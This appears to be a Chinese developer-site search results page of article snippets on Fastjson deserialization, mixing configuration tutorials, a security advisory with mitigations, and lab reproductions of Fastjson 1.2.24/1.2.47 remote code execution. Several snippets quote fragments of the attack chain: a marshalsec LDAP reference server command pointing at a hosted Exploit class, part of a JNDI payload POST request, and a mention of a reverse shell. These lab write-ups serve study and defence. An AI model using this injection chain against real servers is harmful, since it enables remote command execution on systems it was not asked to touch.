首页
学习
活动
专区
工具
TVP
发布
精选内容/技术社群/优惠产品,尽在小程序
立即前往
您找到你想要的搜索结果了吗?
是的
没有找到

【漏洞复现】Fastjson序列化

Fastjson序列化 最近log4j的漏洞很火,他的复现步骤和fastjson相似 所以来复现学习一些,希望对大家有一点帮助 一、简介 Java 序列化及反序列化处理在基于Java 架构的Web...Fastjson可以将对象转换成Json字符串,XMLDecoder 可以将XML字符串还原成字符串,所以也是序列化和反序列化。 ​ 序列化可以将对象转换成字节流后保存、传输。...三、Fastjson漏洞介绍 ​ 与原生的java反序列化相比,FastJson未使用readObject()方法进行反序列化,而是使用了自定义的一套方法,在反序列化的过程中,调用getter和setter...中发现了缓存机制可以绕过AutoType 1.2.68又通过缓存绕过了AutoType 从上述Fastjson序列化漏洞的演化历程可以看出,针对Fastjson的漏洞挖掘主要在于以下两个方面。...,通过黑白名单的方式来防御Fastjson序列化漏洞,因此后面发现的Fastjson序列化漏洞都是针对黑名单的绕过来实现攻击利用的。

11210

mvc配置fastjson序列化枚举

——《肖申克的救赎》 我们可以使用SerializerFeature.WriteEnumUsingToString去完成枚举的序列化操作: 例如我这里某对象属性为枚举类型 我们当使用该POJO接收参数时...我们配置如下的后就可以直接传入枚举常量的名字进行映射 例如我此处 最后传入type=INDEX_SHUFFLE,成功完成映射 完整代码 package com.ruben.zsxh.config; import com.alibaba.fastjson.serializer.SerializeConfig...; import com.alibaba.fastjson.serializer.SerializerFeature; import com.alibaba.fastjson.support.config.FastJsonConfig...; import com.alibaba.fastjson.support.spring.FastJsonHttpMessageConverter; import org.springframework.boot.autoconfigure.web.servlet.error.ErrorViewResolver...fastJsonConverter.setSupportedMediaTypes(supportedMediaTypes); FastJsonConfig fjc = new FastJsonConfig(); // 配置序列化策略

91910

Fastjson序列化漏洞风险通告

亚信安全CERT监控到Fastjson Develop Team发布安全公告,修复了一个存在于Fastjson1.2.80及之前版本中的反序列化漏洞。...Fastjson已使用黑白名单用于防御反序列化漏洞,该利用在特定条件下可绕过默认autoType关闭限制,攻击远程服务器,风险影响较大。...Fastjson是阿里巴巴的开源JSON解析库,它可以解析JSON格式的字符串,支持将Java Bean序列化为JSON字符串,也可以从JSON字符串反序列化到JavaBean。...2,safeMode加固 Fastjson在1.2.68及之后的版本中引入了safeMode,配置safeMode后,无论白名单和黑名单,都不支持autoType,可杜绝反序列化Gadgets类变种攻击...3,升级到fastjson v2 fastjson v2地址 https://github.com/alibaba/fastjson2/releases Fastjson已经开源2.0版本,在2.0版本中

82290

漏洞复现 - - - Fastjson序列化漏洞

Java格式 3.什么是是反序列化 我们搞懂了什么是fastjson那我们理解一下序列化,反序列化又是什么意思呢 。...序列化:将对象转化成字节的过程 作用:因为对象统一存储在JVM中,所以就导致了如果JVM关闭,对象也就会消失。而序列化就可以将对象转换为字节的序列,可以写进硬盘文件中实现长期的保存。...反序列化:将字节转化成对象的过程 作用:将序列组成的字节,转换为对象。 对象序列化就是将对象的数据复制一个一模一样的对象(个人理解) 4. ...Fastjson漏洞产生原因 反序列化之后的数据本来是没有危害的,但是用户使用可控数据是有危害的 漏洞信息: fastjson 1.2.24 反序列化导致任意命令执行漏洞:fastjson在解析json...Fastjson 1.2.47 远程命令执行漏洞:fastjson于1.2.24版本后增加了反序列化白名单,而在1.2.48以前的版本中,攻击者可以利用特殊构造的json字符串绕过白名单检测,成功执行任意命令

1.3K20

fastjson≤1.2.47反序列化漏洞复现

https://mirrors.tuna.tsinghua.edu.cn/apache/tomcat/tomcat-9/v9.0.27/bin/apache-tomcat-9.0.27.tar.gz FastJson1.2.47...main(String[] args) throws Exception {     } } 1.编译一下Exploit.java,生成Exploit.class,将2个文件放入服务器webapps/fastjson...java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://192.168.124.55:8080/fastjson...3.查看一下靶机源码,发现参数name和age,构造一下,回显正常, ps:真实环境中这些都是目标机自带的,找到提交json的地方构造poc即可 4.放上poc,查看靶机是否成功执行命令 POST /fastjson.../Exploit",     "autoCommit": true   } } 5.服务器的Ldap已接收到请求,靶机的/tmp/fastjson.test文件也已存在,命令成功执行 0x05 反弹shell

75820

FastJson序列化注意事项

问题描述 使用fastJson对json字符串进行反序列化时,有几个点需要注意一下: 反序列化内部类 反序列化模板类 0....枚举反序列化序列化的对象中,包含枚举时,反序列化可能得不到你预期的结果,枚举对象变成了一个String对象, 其实和上面的问题一样,需要 package com.mogujie.service.rate.base...; import com.alibaba.fastjson.JSON; import com.alibaba.fastjson.TypeReference; import org.junit.Test...:551) at com.alibaba.fastjson.JSON.parseObject(JSON.java:251) at com.alibaba.fastjson.JSON.parseObject...重复引用 fastjson序列化的对象中,若存在重复引用的情况,序列化的结果可能不是我们预期的结果 @Test public void testJson() { BaseDO baseDO = new

6.7K80

Java进阶|Springboot切换fastjson序列化实战

前言在SpringBoot中,默认情况下使用的是Jackson作为JSON的序列化和反序列化库。但有时候,我们可能需要切换到其他的JSON库,比如Fastjson。...Fastjson是阿里巴巴的一个开源项目,它提供了高性能的JSON序列化和反序列化功能。...Fastjson可以解析JSON格式的字符串,支持将Java Bean序列化为JSON字符串,也可以从JSON字符串反序列化到Java Bean。...你应该会看到Fastjson被用来序列化和反序列化JSON数据。完整的pom.xml引入下面是一个完整的pom.xml引入功能。<?...小心处理特殊字符:在序列化包含特殊字符(如双引号)的字符串时,需要使用转义字符来避免语法错误。Fastjson提供了默认的转义字符,但也可以自定义转义字符。

44010

实习记录(四) - Fastjson序列化漏洞

Fastjson 是阿里巴巴的开源JSON解析库,它可以解析 JSON 格式的字符串,支持将 JavaBean 序列化为 JSON 字符串,也可以从 JSON 字符串反序列化到 JavaBean。...漏洞检测 DNSLog回显 通过构造DNS解析来判断是否是FastjsonFastjson在解析下面这些Payload时会取解析val的值,从而可以在dnslog接收到回显,以此判断是不是Fastjson...1.2.24 反序列化导致任意命令执行漏洞 这里使用Vulhub/Fastjson-1.2.24-1.2.24-rce/进行搭建 抓包,修改一下然后提交,可以在DNSLog平台看到回显 // Payload...1.2.47 远程命令执行漏洞 Fastjson于1.2.24版本后增加了反序列化白名单,而在1.2.48以前的版本中,攻击者可以利用特殊构造的json字符串绕过白名单检测,成功执行任意命令。...参考 fastjson 1.2.24反序列化导致任意命令执行漏洞分析记录 fastjson =< 1.2.47 反序列化漏洞复现 JAVA反序列化FastJson组件 Fastjson漏洞复现) --

2.2K30

浅析FastJSON序列化漏洞(1.2.24——1.2.68)

FastJSON 简介 FastJson 是一个由阿里巴巴研发的java库,可以把java对象转换为JSON格式,也可以把JSON字符串转换为对象。...同时可以发现,在JSON序列化时,会调用类的getxxx方法;在JSON反序列化时,会调用类的构造方法 public class App { public static class User{...反序列化漏洞起源 我们可以看到,把JSON反序列化的语句是 JSON.parseObject(json,User.class),在指定JSON时,还需要指定其所属的类,显得代码就很臃肿,所以开发人员可以使用...但是由于_name 和_bytecodes 是私有属性,所以需要FASTJSON序列化接口有Feature.SupportNonPublicField参数才能实现,利用条件很苛刻,但是条件允许的话就很方便...类对象被返回后,就会进入被反序列化的下一个过程,它的构造方法等会被调用,从而完成利用。

15.4K22

IDEA动态调试(二)——反序列化漏洞(Fastjson)

一、反序列化的原理及特点 1、什么是反序列化 序列化就是把java类转换成字节流,xml数据、json格式数据等; 反序列化就是把字节流,xml数据、json格式数据转换回java类。...3、理解漏洞成因 拿java的原生反序列化方法举例: 1) 正常的反序列化过程 先序列化,将对象obj序列化,保存序列化后的字节流数据到目录下,然后通过readobject反序列化成对象,通过打印发现反序列化后对象为...三、Fastjson 1、什么是Fastjson Fastjson是阿里巴巴的开源JSON解析库,它可以解析JSON格式的字符串,支持将JavaBean序列化为JSON字符串,也可以从JSON字符串反序列化到...FastJson自己实现了一套反序列化的机制,并没有使用默认的readObject(),在序列化序列化的时候会进行一些操作,主要是setter和getter的操作,同样结合一些类的特性造成命令执行。...各版本下载地址: https://repo1.maven.org/maven2/com/alibaba/fastjson/ 2、Fastjson的使用 研究库的漏洞首先要了解其用法: 1) 序列化方法为

2.2K00
领券